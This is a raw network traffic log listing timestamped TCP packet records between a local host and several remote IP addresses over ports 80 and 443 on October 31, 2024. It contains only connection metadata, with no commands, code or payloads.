Oct 31, 2024 03:04:33.104713917 CET	443	49879	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:33.105125904 CET	49879	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:33.105149984 CET	443	49879	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:33.105521917 CET	443	49879	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:33.105825901 CET	49879	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:33.105911016 CET	443	49879	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:33.105957031 CET	49879	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:33.108004093 CET	443	49880	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:33.108230114 CET	49880	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:33.108243942 CET	443	49880	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:33.108649015 CET	443	49880	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:33.108922958 CET	49880	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:33.108988047 CET	443	49880	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:33.109016895 CET	49880	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:33.118267059 CET	49876	443	192.168.2.5	23.221.22.215
Oct 31, 2024 03:04:33.118509054 CET	49878	443	192.168.2.5	23.221.22.215
Oct 31, 2024 03:04:33.147357941 CET	443	49879	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:33.148946047 CET	49880	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:33.148947954 CET	49879	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:33.148952007 CET	443	49880	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:33.234150887 CET	443	49879	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:33.234323978 CET	443	49879	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:33.234508038 CET	49879	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:33.236759901 CET	49879	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:33.236778021 CET	443	49879	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:33.251271009 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.251328945 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.251331091 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.251339912 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.251368046 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.251379013 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.269357920 CET	443	49882	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.269915104 CET	49882	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.269932032 CET	443	49882	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.270441055 CET	49882	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.270446062 CET	443	49882	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.272392988 CET	443	49881	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.272759914 CET	49881	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.272794962 CET	443	49881	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.273287058 CET	49881	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.273294926 CET	443	49881	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.350888014 CET	443	49883	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.351571083 CET	49883	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.351592064 CET	443	49883	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.352679968 CET	49883	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.352685928 CET	443	49883	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.368010044 CET	49887	443	192.168.2.5	20.1.248.118
Oct 31, 2024 03:04:33.368029118 CET	443	49887	20.1.248.118	192.168.2.5
Oct 31, 2024 03:04:33.368412971 CET	49887	443	192.168.2.5	20.1.248.118
Oct 31, 2024 03:04:33.369721889 CET	49887	443	192.168.2.5	20.1.248.118
Oct 31, 2024 03:04:33.369735956 CET	443	49887	20.1.248.118	192.168.2.5
Oct 31, 2024 03:04:33.410002947 CET	443	49881	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.410058022 CET	443	49881	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.410229921 CET	443	49882	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.410317898 CET	443	49882	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.410348892 CET	49881	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.410412073 CET	49882	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.415318966 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415332079 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415342093 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415357113 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415376902 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415388107 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415400028 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415410995 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415410995 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.415462971 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.415481091 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415493965 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415503025 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415514946 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415525913 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415529013 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.415537119 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415544987 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.415548086 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415560007 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415574074 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.415601969 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.415716887 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415726900 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415736914 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415747881 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415759087 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415770054 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415781975 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415783882 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.415787935 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415797949 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415806055 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.415808916 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415819883 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415827036 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.415829897 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415842056 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.415847063 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.415868044 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.415875912 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.416208029 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416218996 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416229010 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416239977 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416250944 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416254997 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.416259050 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416269064 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416274071 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.416280031 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416307926 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.416310072 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416321039 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416330099 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416331053 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.416340113 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416348934 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416356087 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.416359901 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416371107 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416374922 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.416380882 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416390896 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416402102 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416404963 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.416412115 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416419983 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.416421890 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416433096 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416443110 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416445017 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.416455030 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416465998 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416479111 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.416481018 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416491985 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416492939 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.416502953 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416513920 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416517019 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.416543961 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.416554928 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.416578054 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416589022 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416596889 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416608095 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416619062 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416621923 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.416627884 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416632891 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.416639090 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416647911 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416655064 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.416657925 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416668892 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416678905 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.416680098 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416690111 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416696072 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.416706085 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416712999 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.416726112 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416738033 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416739941 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.416745901 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416758060 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.416760921 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.416785002 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.416809082 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.420362949 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420373917 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420430899 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420435905 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.420439959 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420449972 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420461893 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420478106 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.420500040 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.420528889 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420540094 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420551062 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420562029 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420573950 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420583963 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420588017 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.420593977 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420604944 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420613050 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.420614004 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420625925 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420629025 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.420653105 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420663118 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420669079 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.420671940 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420681953 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420686960 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.420692921 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420701981 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420712948 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420717001 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.420723915 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420732975 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420743942 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420743942 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.420758009 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.420769930 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420780897 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420792103 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420794010 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.420816898 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.420844078 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.420927048 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420937061 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420944929 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420954943 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420964003 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.420967102 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420984030 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.420984030 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.420994997 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.421005011 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.421009064 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.421015978 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.421025991 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.421025991 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.421036005 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.421046972 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.421056986 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.421058893 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.421067953 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.421078920 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.421088934 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.421092987 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.421108961 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.421133995 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.439358950 CET	49881	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.439376116 CET	443	49881	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.439661026 CET	49881	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.439668894 CET	443	49881	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.441095114 CET	49882	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.441112041 CET	443	49882	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.441133022 CET	49882	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.441139936 CET	443	49882	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.453111887 CET	49888	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.453134060 CET	443	49888	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.453303099 CET	49888	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.454484940 CET	49889	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.454493999 CET	443	49889	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.455082893 CET	49889	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.455348015 CET	49888	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.455373049 CET	443	49888	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.458403111 CET	49889	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.458411932 CET	443	49889	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.484836102 CET	443	49883	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.484927893 CET	443	49883	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.485057116 CET	49883	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.485203981 CET	49883	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.485213041 CET	443	49883	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.485223055 CET	49883	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.485229969 CET	443	49883	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.488018990 CET	49890	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.488040924 CET	443	49890	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.488147020 CET	49890	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.488549948 CET	49890	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:33.488576889 CET	443	49890	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:33.530565977 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.530628920 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.530772924 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.530783892 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.530793905 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.530803919 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.530822992 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.530829906 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.530849934 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.530849934 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.530860901 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.530864954 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.530872107 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.530883074 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.530893087 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.530896902 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.530904055 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.530915022 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.530927896 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.530936003 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.530966997 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.530968904 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.530980110 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.530991077 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531001091 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531024933 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531033993 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.531034946 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531044960 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531055927 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531059027 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.531068087 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531083107 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.531110048 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.531250954 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531261921 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531271935 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531284094 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531295061 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531301022 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.531318903 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.531337976 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.531379938 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531394958 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531408072 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531419039 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531426907 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531439066 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531445980 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.531445980 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.531457901 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531469107 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531470060 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.531478882 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531490088 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.531493902 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531512976 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531517982 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.531523943 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531534910 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531546116 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531548023 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.531558037 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531563044 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.531569958 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531593084 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.531600952 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531621933 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.531629086 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531635046 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.531639099 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531647921 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531658888 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:33.531658888 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531676054 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:33.531687975 CET	80	49823	185.215.113.206	192.168.2.5
